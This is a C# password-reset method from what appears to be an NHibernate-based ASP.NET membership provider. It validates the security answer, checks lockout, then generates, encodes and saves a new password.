public override string ResetPassword(string username, string answer) { if (!EnablePasswordReset) { throw new MembershipPasswordException( NhibernateMembershipProviderExceptionUtil.FormatExceptionMessage(this, NHibernateProviderSR. Pwd_ResetNotEnabled)); } if ((answer == null) && RequiresQuestionAndAnswer) { UpdateFailureCount(username, FailureType.PasswordAnswer); throw new MembershipPasswordException( NhibernateMembershipProviderExceptionUtil.FormatExceptionMessage(this, NHibernateProviderSR. Pwd_AnswerRequiredForReset)); } string password = Membership.GeneratePassword(minRequiredPasswordLength, MinRequiredNonAlphanumericCharacters); var e = new ValidatePasswordEventArgs(username, password, true); OnValidatingPassword(e); if (e.Cancel) { if (e.FailureInformation != null) { throw e.FailureInformation; } throw new MembershipPasswordException( NhibernateMembershipProviderExceptionUtil.FormatExceptionMessage(this, NHibernateProviderSR. Pwd_ResetCancelledDueToNewPassword)); } SystemUserWrapper user = SystemUserWrapper.GetUserByLoginID(username); if (user != null) { if (user.IsLockedOut) { throw new MembershipPasswordException( NhibernateMembershipProviderExceptionUtil.FormatExceptionMessage(this, NHibernateProviderSR. User_IsLockedOut)); } if (RequiresQuestionAndAnswer && !CheckPassword(answer, user.PasswordAnswer, user.PasswordSalt)) { UpdateFailureCount(username, FailureType.PasswordAnswer); throw new MembershipPasswordException( NhibernateMembershipProviderExceptionUtil.FormatExceptionMessage(this, NHibernateProviderSR. Pwd_IncorrectAnswer)); } try { user.UserPassword = EncodePassword(password, user.PasswordSalt); user.LastPasswordChangeDate = DateTime.Now; user.LastActivityDate = DateTime.Now; SystemUserWrapper.SaveOrUpdate(user); } catch { throw new MembershipPasswordException( NhibernateMembershipProviderExceptionUtil.FormatExceptionMessage(this, NHibernateProviderSR. Pwd_OpCancelledDueToAccountLocked)); } } return(password); }